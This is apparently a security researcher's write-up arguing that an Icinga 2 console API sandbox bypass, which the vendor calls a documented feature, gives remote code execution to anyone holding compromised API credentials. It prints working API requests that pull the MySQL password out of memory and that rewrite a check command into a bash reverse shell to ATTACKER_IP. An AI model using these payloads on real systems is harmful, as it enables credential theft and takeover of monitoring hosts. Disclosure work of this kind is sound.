In security research, the response "this is not a vulnerability, it's a documented feature" is a recurring argument used to dismiss design weaknesses.
This is currently the position of the Icinga developers regarding a sandbox bypass via the console API.
This article does not aim to classify a CVE-level vulnerability, but rather to analyze the real-world impact of this behavior in a pentesting scenario involving compromised API credentials.
Vendor Position
The Icinga developers consider this behavior intentional for users holding the console permission.
From a pentesting and threat-modeling perspective, however, this behavior clearly constitutes a Remote Code Execution scenario as soon as API credentials are compromised.
1. The Worst-Case Scenario: From Pentest to System Takeover
Let us consider a classic pentest scenario. During a post-exploitation phase, an auditor obtains credentials for an API account (for example: root:330d59c654182abb).
Such secrets are commonly:
- hardcoded in automation scripts,
- stored in .ini or .env files,
- exposed inside containers,
- present in CI/CD pipelines.
The Icinga 2 API (port 5665) acts as the control tower of the monitoring system.
A fundamental point must be emphasized:
An Icinga API account:
- has no access to the Web interface,
- cannot connect via SSH,
- cannot open an interactive session,
- is designed for automation, not system administration.
Yet, with the console permission, this application account can be leveraged as a system-level attack vector.
2. Step 1 — Critical Information Disclosure: Retrieving the MySQL Password in Cleartext
Even before executing any OS-level command, the sandbox bypass allows access to internal runtime objects, including those containing sensitive secrets stored in memory.
A striking example is the IdoMysqlConnection object, which stores the MySQL database password in cleartext.
API Request Used to Exfiltrate the MySQL Password
POST /v1/console/execute-script HTTP/1.1 Host: TARGET:5665 Authorization: Basic <TOKEN_API> Content-Type: application/json
{ "session": "mysql-dump", "sandboxed": false, "command": "get_objects(IdoMysqlConnection)" }
Result
The server returns the full MySQL connection configuration, including:
- database name (icinga),
- host,
- port,
- cleartext password,
- SSL parameters and internal options.
A simple API account can therefore retrieve database credentials stored in memory, without disk access, without SSH access, and without any human interaction.
This information disclosure enables:
- direct access to the Icinga database,
- retrieval of historical monitoring data,
- lateral movement to other services using the same database or credentials.
3. Step 2 — From Information Disclosure to RCE via the Scheduler
Once the sandbox is disabled, the attacker can also modify active runtime objects in memory, notably CheckCommand objects.
The targeted endpoint remains:
POST /v1/console/execute-script
RCE Exploitation Example
POST /v1/console/execute-script HTTP/1.1 Host: TARGET:5665 Authorization: Basic <TOKEN_API> Content-Type: application/json
{ "session": "rce", "sandboxed": false, "command": "var cmd = get_object(CheckCommand, \"hostalive\"); cmd.command = [ \"/bin/bash\", \"-c\", \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\" ]" }
At the next execution of the check by the scheduler:
- the injected command is executed,
- a reverse shell is opened,
- with the privileges of the Icinga service account.
A non-interactive API account, with no SSH or Web access, thus leads to remote system command execution.
4. The Sandbox Illusion: A Door Unlocked from the Inside
Icinga explicitly implements a sandbox intended to restrict access to dangerous functions.
The paradox is obvious:
If arbitrary OS command execution were safe, this sandbox would not exist.
The fact that:
- the sandbox is enabled by default,
- yet can be disabled via a client-controlled parameter,
represents a trust boundary violation.
A security mechanism that an attacker can disable on their own is not a security mechanism.
5. Conclusion: Trust Is Not a Security Protocol
From a pentesting perspective, the attack chain is straightforward:
- Compromise of API credentials
- Leakage of critical in-memory secrets (MySQL password)
- Runtime object manipulation
- OS command execution via the scheduler
This is unambiguously a Remote Code Execution scenario.
Labeling this behavior as a "feature" does not reduce its impact nor its real-world risk.
A monitoring tool should never become a persistent entry point into the very infrastructure it is meant to protect and monitor.